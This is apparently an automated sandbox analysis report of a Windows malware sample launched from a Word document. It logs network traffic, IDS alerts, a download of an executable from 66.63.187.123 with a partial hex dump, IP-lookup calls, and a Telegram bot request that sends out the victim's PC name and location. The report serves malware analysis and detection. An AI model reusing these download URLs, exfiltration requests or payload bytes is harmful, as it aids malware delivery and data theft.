Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 66.63.187.123:80 -> 192.168.2.22:49161
Source: Network traffic Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 66.63.187.123:80 -> 192.168.2.22:49161
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Thu, 26 Sep 2024 05:47:20 GMTContent-Type: application/x-msdos-programContent-Length: 704000Connection: keep-aliveLast-Modified: Thu, 26 Sep 2024 03:29:52 GMTETag: "abe00-622fd59ffb286"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 d4 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 98 0a 00 00 24 00 00 00 00 00 00 76 b6 0a 00 00 20 00 00 00 c0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 b6 0a 00 4f 00 00 00 00 c0 0a 00 ac 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7c 96 0a 00 00 20 00 00 00 98 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 20 00 00 00 c0 0a 00 00 22 00 00 00 9a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 0b 00 00 02 00 00 00 bc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 b6 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 d0 59 00 00 5c 35 00 00 03 00 00 00 1e 00 00 06 2c 8f 00 00 f8 26 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 7c 00 00 00 00 00 00 00 02 28 15 00 00 0a 00 00 02 03 16 9a 28 16 00 00 0a 7d 08 00 00 04 02 02 7b 08 00 00 04 28 02 00 00 06 7d 01 00 00 04 02 03 17 9a 28 17 00 00 0a 7d 02 00 00 04 02 03 18 9a 28 17 00 00 0a 7d 04 00 00 04 02 03 19 9a 28 17 00 00 0a 7d 05 00 00 04 02 03 1a 9a 28 17 00 00 0a 7d 03 00 00 04 02 03 1b 9a 28 18 00 00 0a 7d 06 00 00 04 02 03 1c 9a 28 17 00 00 0a 7d 07 00 00 04 2a 13 30 02 00 21 00 00 00 01 00 00 11 00 0f 00 28 19 00 00 0a 20 6c 07 00 00 59 20 6d 01 00 00 5a 0f 00 28 1a 00 00 0a 58 0a 2b 00 06 2a 00 00 00 13 30 05 00 6d 01 00 00 02 00 00 11 02 73 1b 00 00 0a 7d 09 00 00 04 02 20 80 96 98 00 7d 0a 00 00 04 02 23 00 00 00 00 d0 12 63 41 7d 0b 00 00 04 02 20 80 69 67 ff 7d 0c 00 00 04 02 23 00 00 00 00 d0 12 63 c1 7d 0d 00 00 04 02 20 0f 27 00 00 17 17 73 1c 00 00 0a 7d 0e 00 00 04 02 17 17 17 73 1c 00 00 0a 7d 0f 00 00 04 02 16 7d 10 00 00 04 02 16 7d 11 00 00 04 02 28 15 00 00 0a 00 00 03 28 1d 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%209/26/2024%20/%204:38:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
May check the online IP address of the machine
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49165 -> 193.122.6.168:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49167 -> 158.101.44.242:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49171 -> 132.226.247.73:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49162 -> 132.226.8.169:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49169 -> 193.122.130.0:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49164 -> 188.114.96.3:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /txt/LLnsOpxxAnmWi.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.123Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D8964A50-9018-4193-BC8F-CBF79CAD82D1}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%209/26/2024%20/%204:38:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /txt/LLnsOpxxAnmWi.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.123Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
